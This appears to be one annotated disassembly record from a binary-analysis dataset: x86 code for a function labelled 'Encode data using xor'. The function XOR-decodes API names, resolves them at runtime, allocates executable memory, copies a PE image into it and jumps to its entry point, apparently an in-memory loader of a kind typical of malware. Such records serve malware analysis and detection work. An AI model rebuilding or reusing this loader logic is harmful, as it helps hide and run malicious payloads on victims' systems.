Function at 0x402130
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x409040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
mov dword [ebp - 0xc], 0
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [ebx]
push esi
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], esi
call dword [eax]
mov edi, eax
mov dword [ebp - 0x3c], edi
test edi, edi
je 0x40235a
mov ecx, dword [ebx]
push 5
push esi
mov edx, dword [ecx + 4]
mov ecx, ebx
call edx
mov dword [ebp - 0x44], eax
mov cl, 6
mov eax, dword [edi + 0x34]
mov ch, 4
mov dword [ebp - 0x50], eax
mov bl, 0xc
mov byte [ebp - 0x1c], 0x68
mov al, ch
xor cl, byte [ebp - 0x1c]
mov ah, 0x46
mov byte [ebp - 0x1b], cl
mov dh, bl
mov cl, byte [ebp - 0x1c]
mov bh, ch
xor al, cl
mov byte [ebp - 0xd], ch
mov byte [ebp - 0x17], al
xor ah, cl
mov al, byte [ebp - 0xd]
mov dl, 0x1c
xor al, cl
mov byte [ebp - 0x16], ah
mov byte [ebp - 0x13], al
xor dl, cl
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x12], 0
xor bl, cl
mov byte [ebp - 0x1a], dl
xor ch, cl
mov byte [ebp - 0x19], bl
xor dh, cl
mov byte [ebp - 0x18], ch
xor bh, cl
mov byte [ebp - 0x15], dh
push eax
mov byte [ebp - 0x14], bh
mov byte [ebp - 0x12], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
movaps xmm0, xmmword [0x407280]
mov edx, eax
mov dword [ebp - 0x40], edx
xor ecx, ecx
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0x787e6374
mov word [ebp - 0x24], 0x79
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0x14
jb 0x4021f8
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x37]
push eax
push edx
mov byte [ebp - 0x23], 0
call ebx
push dword [edi + 0x34]
push 0xffffffffffffffff
call eax
movaps xmm0, xmmword [0x407270]
xor ecx, ecx
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0xc240508
mov dword [ebp - 0x24], 0x101b0604
mov byte [ebp - 0x20], 0
nop dword [eax]
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0x17
jb 0x402240
lea eax, [ebp - 0x37]
mov byte [ebp - 0x20], 0
push eax
push dword [ebp - 0x40]
call ebx
mov ecx, dword [edi + 0x50]
mov ebx, eax
push 0x40
push 0x3000
lea eax, [ebp - 8]
mov dword [ebp - 8], ecx
push eax
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebx
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x4022b1
cmp dword [ebp - 0x44], eax
je 0x40235a
push 0x40
push 0x3000
lea eax, [ebp - 8]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebx
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x40235a
mov edx, dword [edi + 0x54]
mov dword [edi + 0x34], eax
mov ecx, dword [ebp - 0xc]
test edx, edx
je 0x4022d2
nop
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx], al
lea ecx, [ecx + 1]
sub edx, 1
jne 0x4022c0
mov ecx, dword [ebp - 0xc]
xor eax, eax
xor ebx, ebx
cmp ax, word [edi + 6]
jae 0x402317
add edi, 0x104
mov edx, dword [edi]
mov eax, dword [edi + 8]
add edx, ecx
add eax, dword [ebp - 0x48]
mov esi, dword [edi + 4]
test esi, esi
je 0x402305
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx], cl
lea edx, [edx + 1]
sub esi, 1
jne 0x4022f3
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x3c]
inc ebx
add edi, 0x28
movzx eax, word [eax + 6]
cmp ebx, eax
jl 0x4022e2
mov edi, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x4c]
push ecx
mov ecx, esi
mov eax, dword [esi]
call dword [eax + 8]
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x50]
cmp edx, ecx
je 0x402340
push dword [edi + 0x50]
mov eax, dword [esi]
push edx
push 0
push ecx
push 0
push edx
mov ecx, esi
call dword [eax + 0xc]
mov edx, dword [ebp - 0xc]
mov eax, dword [edi + 0x28]
add eax, edx
call eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004035b2
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004035b2
mov esp, ebp
pop ebp
ret 4